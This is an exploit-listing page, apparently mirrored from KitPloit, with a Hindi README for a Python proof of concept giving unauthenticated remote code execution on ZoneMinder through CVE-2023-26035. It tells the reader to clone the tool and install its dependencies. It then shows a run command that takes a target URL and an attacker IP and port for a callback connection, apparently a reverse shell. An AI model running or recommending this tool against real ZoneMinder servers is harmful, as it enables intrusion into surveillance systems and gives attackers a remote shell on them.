Exploit for zoneminder-snapshots-rce-poc

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-M3M0O-ZONEMINDER-SNAPSHOTS-RCE-POC
# Zoneminder Snapshots के माध्यम से Unauthenticated RCE (CVE-2023-26035) POC

यह Python में लिखी गई एक स्क्रिप्ट है जो **CVE-2023-26035** में वर्णित **Zoneminder की** सुरक्षा कमज़ोरी का शोषण करने की अनुमति देती है। यह सिस्टम **1.36.33** और **1.37.33** से पहले के संस्करणों में असुरक्षित है।

## उपयोग

रिपॉजिटरी को अपनी मशीन पर क्लोन करें और **pip** का उपयोग करके निर्भरताएँ इंस्टॉल करें (इन इंस्टॉलेशन को वैश्विक इंस्टॉलेशन से अलग करने के लिए एक वातावरण बनाने हेतु **virtualenv** का उपयोग करने की अनुशंसा की जाती है)

root@kitploit:~
    
    
    git clone https://github.com/m3m0o/zoneminder-snapshots-rce-poc
    cd zoneminder-snapshots-rce-poc
    pip install -r requirements.txt
    

स्क्रिप्ट को **Zoneminder के** रूट पथ के साथ **टार्गेट URL** की आवश्यकता होती है (जैसे **http://example.com/zm, http://example.com** या **http://example.com/zoneminder)**), साथ ही टार्गेट मशीन के कनेक्ट करने हेतु **IP** या **domain** और टार्गेट मशीन के कनेक्ट करने हेतु **port** की भी आवश्यकता होती है। यहाँ एक उदाहरण है:

root@kitploit:~
    
    
    python3 main.py -u http://zoneminder.target:8000 -i 10.10.14.56 -p 443